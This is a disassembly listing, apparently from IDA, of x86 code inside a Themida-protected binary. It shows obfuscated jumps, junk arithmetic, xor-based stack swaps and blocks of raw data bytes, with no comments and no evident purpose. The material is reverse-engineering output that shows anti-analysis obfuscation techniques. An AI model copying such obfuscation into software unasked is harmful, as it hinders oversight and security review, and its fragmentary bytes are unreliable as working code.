		dd 48B2434h, 41A16824h,	0A5E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FACBF:				; CODE XREF: Themida_:004F4DB2j
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_4FBB94
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2C381h, 0FFE90000h, 83FFFF9Ah, 0A7E904C5h, 5800003Fh
		dd 8B24048Fh, 0F662424h, 29E9C8BEh, 31FFFFB1h, 4332404h
		dd 5F7E924h, 15E0000h, 2434FFEAh, 83242C8Bh, 0C48104C4h
		dd 4, 0FF8236E9h, 70B551FFh, 14CCE9h, 44E95E00h, 89FFFFA3h
		dd 0C7BD55E7h, 5567D90Dh, 3EDCE951h, 44010000h,	0E9580424h
		dd 3AFCh, 0F581D5F7h, 0F6F16154h, 515DEB01h, 296B9h, 0D8C1813Ah
		dd 0E9616410h, 0FFFF9BC9h
; ---------------------------------------------------------------------------

loc_4FAD54:				; CODE XREF: Themida_:004F8CCCj
		mov	ebp, 371A73BAh
		jmp	loc_4F96A8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0D6ADE904h, 1489FFFFh, 211EE924h, 0F1800000h, 59C828DCh
		dd 4EC81h, 0E7E90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FAD7F:				; CODE XREF: Themida_:004F602Dj
		sub	ecx, 2D4F6B57h
		add	ecx, 0B3B5E50h
		pop	edi
		sub	ecx, 0FD6AD1A3h
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		dw 8968h
		dd 5B64AB58h, 8222E956h, 48BFFFFh, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 9201E95Ch, 0C33FFFFh,	0F3DDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FADDA:				; CODE XREF: Themida_:004FCC7Cj
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 0CBh
		sub	bl, 0Bh
		jmp	loc_4F562A
; ---------------------------------------------------------------------------
		db 89h
		dd 0DABB53E6h, 4B27D21Ah, 4BE8E381h, 0E3C10761h, 0DFC4E906h
		dd 0E831FFFFh, 58C7895Dh, 15FFB01h, 0A1685BDEh,	0E9000040h
		dd 37B3h, 0E95A5452h, 0FFFFCE99h, 0C92DC829h, 50C1101h
		dd 79495B3Fh, 592434FFh, 4C481h, 0D8E90000h, 0C1FFFFAAh
		dd 0C68104E6h, 742805C0h, 0E449E951h, 4BDFFFFh,	5000000h
		dd 387A05ACh, 0AC2DE829h, 5D387A05h, 31240433h,	4332404h
		dd 24248B24h, 0E9240489h, 0FFFF8080h
; ---------------------------------------------------------------------------

loc_4FAE74:				; CODE XREF: Themida_:004F3AF7j
		pop	edi
		sub	edx, 70C6743Dh
		jmp	loc_4FB684
; ---------------------------------------------------------------------------
		dd 1516EE81h, 0E95F2C0Ah, 0FFFFA75Eh, 81E78957h, 4C7h
		dd 4C78100h, 87000000h,	875C243Ch, 248B241Ch, 0FA8BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FAEAA:				; CODE XREF: Themida_:004FAC85j
		add	ebp, eax
		pop	eax
		jmp	loc_4FC038
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 242CD366h, 8032E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FAEC2:				; CODE XREF: Themida_:004FEF95j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_4FE808
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0FFFFCAAFh, 835AD301h, 1C8704EBh, 34895C24h
		dd 56D68924h, 52242C81h, 5805CF2Dh, 0CF2D5205h,	0BE5A5E05h
		dd 701A840h, 0BC4C681h,	0CCE94AF6h, 8BFFFF9Ch, 4892424h
		dd 40478F24h, 582434FFh, 255B68h, 24348900h, 0FFDC70E9h
		dd 2C783FFh, 0FFEBB4E9h, 7FBEE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FAF36:				; CODE XREF: Themida_:004F5FCDj
		pop	ebx
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4FAF3C:				; CODE XREF: Themida_:004F9E26j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	6987h
		mov	[esp], ecx
		push	edx
		mov	edx, 157F7E58h
		jmp	loc_4F3F19
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0ABFD01EAh, 1C5721FFh, 5A2434FFh, 0E904C483h, 0FFFF7F88h
		dd 640D68h, 0D4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FAF76:				; CODE XREF: Themida_:004F393Dj
		add	esp, 4
		jmp	loc_4FE620
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 4D86F181h, 0BF576BD1h, 75F2DC5h, 1275F781h, 0CF813A43h
		dd 6C9D3B9Dh, 0FFEEA8E9h, 349A0CFFh, 0CCB04FDh,	28B50472h
		dd 536658C1h, 0E944B050h, 0FFFF9039h, 68242C89h, 3E2Dh
		dd 24048F54h, 1BC468h, 242C8900h, 4BDh,	0BBB9E900h, 3C89FFFFh
		dd 34FF5424h, 243C8B24h, 515E5456h, 4B9h, 59CE0100h, 8704C683h
		dd 79E92434h, 8100001Ah, 8941D2E2h, 16BE561Dh, 81476448h
		dd 591A7FC6h, 0E9D6F71Bh, 0FFFF9D49h
; ---------------------------------------------------------------------------

loc_4FB00C:				; CODE XREF: Themida_:004F84B4j
		add	edx, 34F9355Dh
		pop	ebx
		and	ebx, edx
		mov	edx, [esp]
		push	ebp
		push	esp
		jmp	loc_4F93AC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 172C1DFAh, 60E9D0F7h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB02B:				; CODE XREF: Themida_:004F418Dj
		push	esi
		jmp	loc_4FDAA5
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0F3h
		dd 21CB20A5h, 1C5F0958h, 0E9241C8Bh, 0FFFF9C89h
; ---------------------------------------------------------------------------

loc_4FB044:				; CODE XREF: Themida_:004F7DE0j
		push	edi
		jmp	loc_4F7FE4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7EA2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB052:				; CODE XREF: Themida_:004F3614j
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_4F2F08
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 410AE900h, 0BF0C0000h,	0C1303234h, 7FC18058h
		dd 0FFBCC5E9h, 1C77FFFFh, 6658669Dh, 9C240411h,	0FF7E5FE9h
		dd 240C8BFFh, 8704C483h, 6F6668F1h, 34890000h, 2414F724h
		dd 0E924348Bh, 0FFFFABA3h, 0EF1138BDh, 53DDF732h, 0FFEE54E9h
		dd 241433FFh, 0E924248Bh, 0FFFFD3F7h, 2BDh, 75C68100h
		dd 81132C58h, 111CDEEEh, 0B5EE8169h, 0E970D52Bh, 1734h
		dd 24048B66h, 0FFCD7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FB0ED:				; CODE XREF: Themida_:004F8506j
		mov	esi, 4
		jmp	loc_4F35F5
; ---------------------------------------------------------------------------

loc_4FB0F7:				; CODE XREF: Themida_:004FE3B1j
		add	ebx, 3F4623Dh
		not	ebx
		xor	ebx, 9E29AE7Ch
		mov	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_4F8E2D
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 290D5F08h
		mov	edi, ebp
		pop	ebp
		push	2B18h
		mov	[esp], ecx
		mov	ecx, 9CA35AEh
		not	ecx
		jmp	loc_4FE322
; ---------------------------------------------------------------------------
		dw 3C68h
		dd 8900003Ah, 90E9240Ch, 5C00003Dh, 0FFCEC0E9h,	5318BAFFh
		dd 88E92C90h, 81000035h, 8018B7E1h, 83C18118h, 8100A566h
		dd 987B76C1h, 0E9D9F74Ch, 0FFFFE2E0h, 89243489h, 0BA5FE9E6h
		dd 0EF29FFFFh, 0A4A1E95Dh, 0CE81FFFFh, 29DC6FE2h, 901AC681h
		dd 0F329D603h, 8324348Bh, 1C8704C4h, 24248B24h,	0E9240C89h
		dd 0FFFF7D54h, 8904EC83h, 0EC83243Ch, 241C8904h, 68h, 241C8B00h
		dd 0E9E38953h, 3F5Fh, 1F83C981h, 0E181222Ah, 64CF0B7Dh
		dd 0FEF18149h, 8140A462h, 173670E9h, 59CA2949h,	0C281DA01h
		dd 1B97331Eh, 0F0E9525Bh, 29FFFFBBh, 0C78159CFh, 6C237FA7h
		dd 0FFA855E9h, 2474FFFFh, 2434FF04h, 8324048Bh,	895104C4h
		dd 3D16E9E1h, 0BE560000h, 2ADE709Bh, 15EF229h, 3DBD55F2h
		dd 0E92A7407h, 0FFFFE60Eh, 2D64C781h, 0C4E92D69h, 1FFFFA4h
		dd 11E981D1h, 5747E723h, 0F12124BFh, 5FF9295Eh,	0FF95A4E9h
		dd 0C8B66FFh, 1F4CE924h, 0E9210000h, 3100E95Dh,	8B660000h
		dd 7F68240Ch, 8900001Fh, 54E92434h, 81FFFF9Bh, 1C5h, 959CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB26E:				; CODE XREF: Themida_:004F7FDFj
		not	ebx
		shl	ebx, 3
		xor	ebx, 281A15ABh
		jmp	loc_4FEB51
; ---------------------------------------------------------------------------
aFrD		db '\fR',0
aFz		db 'fZ',0
		dd 0A4EB80C3h, 0CB05066h, 0DFC380h, 0DFEB80C3h,	0B60F5866h
		dd 8734FFC0h, 6824048Bh, 0F83h,	54242C89h, 5D2434FFh, 0D17E9h
		dd 0A41BF00h, 60056D0Fh, 56B8106h, 6FD13F34h, 36536005h
		dd 2DF8291Ah, 1A365360h, 0D13F342Dh, 0F9BEE96Fh, 34FFFFFFh
		dd 240C8B24h, 81E38953h, 4C3h, 4C38300h, 0FFDCA1E9h, 24248BFFh
		dd 95CDE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB2FA:				; CODE XREF: Themida_:004FE01Bj
		mov	eax, 8026EE1h
		sub	[esp+8], eax
		pop	eax
		sub	[esp+4], edi
		add	dword ptr [esp+4], 8026EE1h
		pop	edi
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 68D43B1Bh
		jmp	loc_4FCEBF
; ---------------------------------------------------------------------------
		dd 54242C89h, 4BF575Dh,	81000000h, 0C60354C5h, 0C77DE914h
		dd 0F759FFFFh, 0EFC581DDh, 1C32BADh, 2434FFEFh,	4C4835Dh
		dd 0A3EF814Fh, 0E97530B9h, 0FFFFF6F2h, 0E9DE015Dh, 0FFFF93FBh
		dd 2C8BE801h, 4C48324h,	0FF822EE9h, 1C77FFFFh, 6658669Dh
		dd 9C240419h, 0FF7B7BE9h, 0F2F281FFh, 53E121Ah,	425E258Ah
		dd 74E9D001h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB38B:				; CODE XREF: Themida_:004F611Dj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	42AAh
		mov	[esp], ebp
		pop	dword ptr [edi+24h]
		jmp	loc_4F6B25
; ---------------------------------------------------------------------------
		db 0B9h, 0A4h, 7Bh
		dd 70BD35FAh, 3137A90Bh, 0E58159CDh, 372D315Ch,	0FFC6B5E9h
		dd 4C381FFh, 51000000h,	4B9h, 0CBDDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB3DE:				; CODE XREF: Themida_:004FC4ADj
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 0BC95DB2h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 2
		push	1A41h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 56F35188h, 243C335Bh, 33243C31h, 895C243Ch, 0DABD242Ch
		dd 0C145746Dh, 0CD8105E5h, 2E4B762Dh, 6CDBF581h, 0C581199Eh
		dd 48AE6C4Eh, 0FFFE09E9h, 0D7E952FFh, 81FFFFD0h, 255140C1h
		dd 0BDF18138h, 41402959h, 0FF9DCDE9h, 0C7815AFFh, 4, 8B243C87h
		dd 36E92424h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4FB46B:				; CODE XREF: Themida_:004FCA1Bj
		sub	[edi+24h], ebx
		pop	ebx

loc_4FB46F:				; CODE XREF: Themida_:004F5FF1j
		push	edi
		mov	edi, esp
		jmp	loc_4F9F3A
; ---------------------------------------------------------------------------
		db 47h
		dd 0FFC913E9h, 73E92DFFh, 348B0CB0h, 4C48324h, 0B005F001h
		dd 0E914C920h, 0FFFFB84Bh, 5B2434FFh, 4C481h, 0C6010000h
		dd 0FFE3A8E9h, 7FE681FFh, 8155407Fh, 5C74EEh, 8BF70101h
		dd 89532434h, 4C381E3h,	83000000h, 1C8704C3h, 8DE95C24h
		dd 2DFFFF81h, 18E38B4h,	0C33B6A35h, 0E9C68915h,	0FFFFEE08h
		dd 4C481h, 0C1FE0000h, 0FF7B66E9h, 5EF309FFh, 863B951h
		dd 0D9F73253h, 12E6E981h, 0E9552059h, 0FFFF897Eh, 0BF57EED1h
		dd 3CF47202h, 0FFC046E9h, 59CB88FFh, 325CE9h, 24148900h
		dd 415E9h
		db 0
; ---------------------------------------------------------------------------

loc_4FB51D:				; CODE XREF: Themida_:004FD81Bj
		mov	edi, esp
		push	esi
		push	ebx
		mov	ebx, 5A9A0FFBh
		jmp	loc_4F7D6C
; ---------------------------------------------------------------------------
		db 40h
		dd 4D9E9h, 24148900h, 0FFFC10E9h, 364ABEFFh, 0A2E97AF9h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB543:				; CODE XREF: Themida_:004F8E45j
		mov	[esp], ebx
		mov	ebx, 59D66FD0h
		shl	ebx, 2
		jmp	loc_4F494E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0FF8E77E9h, 1DE681FFh, 8166E54Eh,	4A6C2CEEh, 0CBBCE92Dh
		dd 8951FFFFh, 242FE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FB576:				; CODE XREF: Themida_:004FBDE9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_4F7C81
; ---------------------------------------------------------------------------
		dd 0B1240C89h, 18B4503Ch, 0E4C0CCFEh, 0A5EC8005h, 0E958E128h
		dd 0FFFFF7D2h, 0C281E289h, 4, 8704C283h, 30E92414h, 88FFFF9Ah
		dd 24148BD5h, 0FFB668E9h, 242C87FFh, 8924248Bh,	2D68240Ch
		dd 8B6C5228h, 0C481240Ch, 4, 0CAC181h, 0C1811DAAh, 1, 1492F181h
		dd 5D51E23Ch, 70990559h, 0E8291DD2h, 0FFE7D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FB5F1:				; CODE XREF: Themida_:004F8F01j
		mov	ebx, 443B677Fh
		jmp	loc_4FE3AC
; ---------------------------------------------------------------------------
		db 89h
		dd 0E8892404h, 0E958C189h, 0FFFF908Fh, 5BDD0158h, 45B5F581h
		dd 77E92971h, 40FFFFCDh, 56E0905h, 7F7B3523h, 762D750Eh
		dd 5569459h, 7FBEE100h,	6BE9C701h, 8100001Ah, 7D0A3BEFh
		dd 8CEF8178h, 297DB591h, 4875FF8h, 24248B24h, 0FFEDF6E9h
		dd 8EBD55FFh, 148DD10h,	1594E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FB65A:				; CODE XREF: Themida_:004FDEC6j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	25F6h
		mov	[esp], edi
		push	ebp
		mov	ebp, 134D5A23h
		push	esi
		jmp	loc_4F7AE7
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 0FFFFB3EDh
; ---------------------------------------------------------------------------

loc_4FB684:				; CODE XREF: Themida_:004FAE7Bj
		add	edx, edi
		jmp	loc_4FCB41
; ---------------------------------------------------------------------------
		db 8Fh
		dd 7862E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB692:				; CODE XREF: Themida_:004F644Dj
		add	dword ptr [esp], 47742C73h
		mov	eax, [esp]
		jmp	loc_4FA5ED
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 25ED2C5h, 0E9EF3107h, 16D7h,	2BEh, 0AE09E900h, 0E95CFFFFh
		dd 2D42h, 240C8966h, 33E9A7B5h,	5FFFFF5h, 4, 4BF57h, 0F8010000h
		dd 2404875Fh, 2B9515Ch,	0E9000000h, 0FFFF84BFh,	0FE65E957h
		dd 0C581FFFFh, 4, 2B85053h, 89000000h, 8CFEE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB702:				; CODE XREF: Themida_:004F314Cj
		pop	edi
		jmp	loc_4F9B93
; ---------------------------------------------------------------------------
		dd 9049CCBEh, 0FAE68149h, 4E0A080Eh, 2C17F681h,	0C6812955h
		dd 3A584F77h, 815EF201h, 0B16455EAh, 81F22973h,	0B16455C2h
		dd 47EA8173h, 5E5BAD74h, 0FFA69FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FB73D:				; CODE XREF: Themida_:004FC75Fj
		sub	esi, 20E52361h
		shr	esi, 8
		not	esi
		jmp	loc_4F5B8C
; ---------------------------------------------------------------------------

loc_4FB74D:				; CODE XREF: Themida_:004F9C66j
		mov	ecx, [esp]
		jmp	loc_4F4716
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0D9h
		dd 58FFFFB8h, 31243C33h, 48E9243Ch, 50FFFFC4h, 4AE6BA52h
		dd 0C28133DDh, 414B155Dh, 52E38953h, 4BAh, 0F75EE900h
		dd 77FFFFFFh, 11589D1Ch, 0E99C2404h, 0FFFF7764h, 4C481h
		dd 0EE810000h, 4, 5C243487h, 57241C89h,	0FFB934E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FB7A9:				; CODE XREF: Themida_:004F912Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_4FD5C6
; ---------------------------------------------------------------------------
		dd 104C483h, 243C8BFDh,	1D6EE9h, 5B545300h, 4C381h, 91E90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB7CF:				; CODE XREF: Themida_:004FAC77j
		push	esi
		mov	esi, esp
		push	745Ch
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_4FCABA
; ---------------------------------------------------------------------------

loc_4FB7F1:				; CODE XREF: Themida_:004F558Ej
		neg	edi
		add	edi, 437FF95Bh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xor	ebx, 54AB7505h
		add	ecx, ebx
		jmp	loc_4F5F58
; ---------------------------------------------------------------------------
aLSc3		db '$$3',0
		align 4
		dd 7B0342BDh, 0DDED8175h, 454F0874h, 0E907E5C1h, 0FFFFA393h
		dd 0E95EF521h, 24A5h, 34FFE829h, 242C8B24h, 4C481h, 0F2680000h
		dd 89000078h, 34E92434h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_4FB853:				; CODE XREF: Themida_:004F5912j
		mov	ebx, [esp]
		add	esp, 4
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 7A745C07h
		jmp	loc_4F3F86
; ---------------------------------------------------------------------------
		dw 0CD68h
		dd 8B6B8E14h, 0C4832414h, 2BC28104h, 0E93ABA7Eh, 0FFFFBB0Fh
		dd 0AEE95452h, 54000006h, 8324348Bh, 0BB5304C4h, 2BFD0DDBh
		dd 34E5E9h, 0FFEE8300h,	0E6C1DEF7h, 0EFEE8108h,	8198F199h
		dd 0BD3193EBh, 81F30108h, 4ECh,	24348900h, 9E4966BEh, 2E6C14Eh
		dd 1ECFEE81h, 814E3DF8h, 1EEh, 54F68100h, 1F43C37h, 21E95EF3h
		dd 5AFFFFE3h, 4EC81h, 2AE90000h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FB8E7:				; CODE XREF: Themida_:004F3D08j
		pop	eax
		jmp	loc_4FCC77
; ---------------------------------------------------------------------------
		db 59h,	68h, 57h
		dd 89000012h, 0B951242Ch, 0D186962h, 186966BDh,	0D3ED810Dh
		dd 2920B349h, 0D3C581CDh, 5920B349h, 2C8BE901h,	4C48324h
		dd 8904EC83h, 6BE92434h, 56FFFF79h, 0C6815E54h,	4, 0BB74E950h
		dd 5A54FFFFh, 2E6BBD55h, 0BB536A21h, 11541C1Dh,	0E381D3F7h
		dd 0FB65114h, 7E3C143h,	2873E951h, 3C890000h, 0CDA8E924h
		dd 0F430FFFFh, 0FFC4805Ah, 5201C480h, 803AB151h, 0C1FE2BE1h
		dd 80E5F180h, 0CE883BC1h, 0C0CEFE59h, 0C68003EEh, 5AF428B4h
		dd 58E700h, 241C8BF8h, 0FFB79EE9h, 4C183FFh, 5C240C87h
		dd 0E9240433h, 0FFFFF353h, 0E950D1F7h, 3078h, 4B850h, 0C5010000h
		dd 4C58158h, 87000000h,	835C242Ch, 48904ECh, 2426B824h
		dd 7E050EA7h, 2D737A01h, 822125A0h, 0FFA2BDE9h,	0BB535BFFh
		dd 2, 575BDF29h, 42474FFh, 83243C8Bh, 48F04C4h,	0AFD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FB9EE:				; CODE XREF: Themida_:004F52D8j
		add	ebx, 159E2526h
		push	dword ptr [esp]
		jmp	loc_4FBE3C
; ---------------------------------------------------------------------------
		dd 0C0BBB652h, 0E68003E6h, 8F5BE9CDh, 332DFFFFh, 291A8D13h
		dd 0D32958C3h, 58A3C381h, 535A06F0h, 42474FFh, 24048F5Bh
		dd 241C895Ch, 4C4E68h, 24048900h, 42685256h, 5A237059h
		dd 338EE956h, 59540000h, 4C181h, 0CBE90000h, 100002Eh
		dd 5B04245Ch, 8B2434FFh, 0C4832414h, 4C48104h, 0E9000000h
		dd 0FFFFE5E7h, 51FFC283h, 0F10D2DB9h, 8EC9810Eh, 0E926970Dh
		dd 0FFFF8DB0h
; ---------------------------------------------------------------------------

loc_4FBA78:				; CODE XREF: Themida_:004FC477j
		neg	dl
		inc	dl
		jmp	loc_4F8ED9
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 0B3h
		dd 0FF9D81E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FBA89:				; CODE XREF: Themida_:004F486Dj
		or	eax, eax
		jz	loc_4FA510
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_4F375A
; ---------------------------------------------------------------------------
aWssi		db 'WS',8,0
		dw 100h
		dd 0EFE981F1h, 5E2D1C38h, 0C8BC821h, 0E1895124h, 7F2DBA52h
		dd 0F2816ADEh, 6ADE7F29h, 0EE9D101h, 0AD00000Bh, 8904EC83h
		dd 0C0BE2434h, 0E949E45Ah, 3989h, 3099B450h, 0FE0858E7h
		dd 5B2434FFh, 4C481h, 0B4500000h, 86EC86B8h, 86D2F6D5h
		dd 0FEEC86D5h, 6ECC0CCh, 0D4F6DCF6h, 0C0CBB551h, 0CDFE08E5h
		dd 0C580DDF6h, 0FF5E9C3h, 0C890000h, 88B5B524h,	835359E8h
		dd 0C8904ECh, 0D01AB524h, 0F6C580EDh, 8063CD80h, 0EB88DEC5h
		dd 5BD83059h, 0EC83C0FEh, 241C8904h, 0F7806FB7h, 6E7C074h
		dd 245CF653h, 0E7805B01h, 6BF7808Dh, 5BF800h, 0B60F58C3h
		dd 8734FFC0h, 4EC81h, 4890000h,	0E685224h, 5A20A863h, 0FFFEF3E9h
		dd 24248BFFh, 0E99CC138h, 0FFFF7378h
; ---------------------------------------------------------------------------

loc_4FBB7C:				; CODE XREF: Themida_:004F4099j
		xor	esi, 1DF7C845h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebx, ebp
		jmp	loc_4FE472
; ---------------------------------------------------------------------------

loc_4FBB94:				; CODE XREF: Themida_:004FACC6j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_4F8A0B
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EBh
		dd 6DFE0BAEh, 2DBEE9h, 0A2E9AC00h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FBBB3:				; CODE XREF: Themida_:004F8DBCj
		sub	cl, bh
		add	cl, 4Eh
		jmp	loc_4F8926
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0D5E95451h, 31FFFFB4h, 54ED68C3h, 0C890000h,	66A0B524h
		dd 0D841E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FBBDA:				; CODE XREF: Themida_:004F512Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_4F8EE3
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0A3h
		dd 0E99C2404h, 3Ah
; ---------------------------------------------------------------------------

loc_4FBBF4:				; CODE XREF: Themida_:004F47C3j
		push	eax
		jmp	loc_4FE4E7
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 0FFFFCF4Ch, 0FF72EBE9h, 52E789FFh, 4BAh
		dd 5AD70100h, 8704EF83h, 895C243Ch, 8DE9243Ch, 5000001Ah
		dd 1FED9DB8h, 0B983E9F9h, 0C1E9FFFFh, 8FFFFF72h, 7BE92404h
		dd 81FFFFBBh, 0AD3058E9h, 12B85009h, 0C1689E40h, 0A80506E0h
		dd 35664C2Bh, 86F442C1h, 0A0E9C131h, 81FFFFE4h,	0EA0DD0C1h
		dd 60F1810Eh, 0C1FBA3A9h, 0C18107E9h, 17BA54C1h, 2A8768h
		dd 24348900h, 1C6AD6BEh, 0ED0CE932h, 2C8BFFFFh,	4C48124h
		dd 50000000h, 0A6C9ACB8h, 66C68109h, 166406Dh, 66EE81C6h
		dd 5866406Dh, 348BF329h, 4C48324h, 66E8BA52h, 0CA813F5Fh
		dd 6A7436BDh, 0C281DAF7h, 523F611Eh, 0D66BEA81h, 0EA817070h
		dd 0ED90C48Ch, 1D5AE9h,	8BD90100h, 5456241Ch, 4C6815Eh
		dd 81000000h, 4C6h, 24348700h, 0FFE2B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FBCE9:				; CODE XREF: Themida_:004F816Fj
		sub	bl, 0A6h
		jmp	loc_4FC474
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 26855h, 1AE90000h, 8100001Ch, 392D0ECDh, 0B1ED8129h
		dd 81417176h, 0BA1EE1C5h, 5DEE29DBh, 241C8B56h,	99F1E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FBD22:				; CODE XREF: Themida_:004F5CE9j
		sub	edi, 28887497h
		sub	edi, 28F017B9h
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_4F4789
; ---------------------------------------------------------------------------
		db 53h
		dd 0D3F60FB3h, 0C380EBD0h, 0E9D80062h, 353h, 0E9243489h
		dd 0FFFFFA03h, 83C6FE5Ah, 21E904ECh, 0B7FFFFEFh, 3020B29Fh
		dd 0CA59E9FAh, 0F3B1FFFFh, 0E901C180h, 0FFFF8FC6h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		push	2
		push	dword ptr [esp]
		jmp	loc_4F524D
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	8704E883h, 895C2404h, 0E189240Ch, 4C181h
		dd 0E9830000h, 240C8704h, 241C895Ch, 8324048Bh,	148904ECh
		dd 0A297E924h, 0FA89FFFFh, 0E9D3015Fh, 0FFFF9E81h
; ---------------------------------------------------------------------------

loc_4FBDE0:				; CODE XREF: Themida_:004F523Cj
		sub	ebp, 2BFD444Eh
		mov	edi, [esp]
		jmp	loc_4FB576
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 4, 65E9FD01h,	33FFFF74h, 545C2414h, 8324048Fh
		dd 0E9042404h, 0FFFF70E0h, 8124348Bh, 4C4h, 5EF78900h
		dd 68h,	243C2900h, 8CE7815Fh, 8161A074h, 7F9FF8C7h, 0E9FE89BFh
		dd 0FFFF9493h
; ---------------------------------------------------------------------------

loc_4FBE3C:				; CODE XREF: Themida_:004FB9F7j
		pop	ecx
		add	esp, 4
		sub	ebx, 6FFF4430h
		add	ebx, edi
		jmp	loc_4FDB7A
; ---------------------------------------------------------------------------

loc_4FBE4D:				; CODE XREF: Themida_:004FEF6Ej
		xor	eax, 3F2895E5h
		add	ebx, eax
		pop	eax
		add	ebp, 1EC27F49h
		add	ebp, ebx
		sub	ebp, 1EC27F49h
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
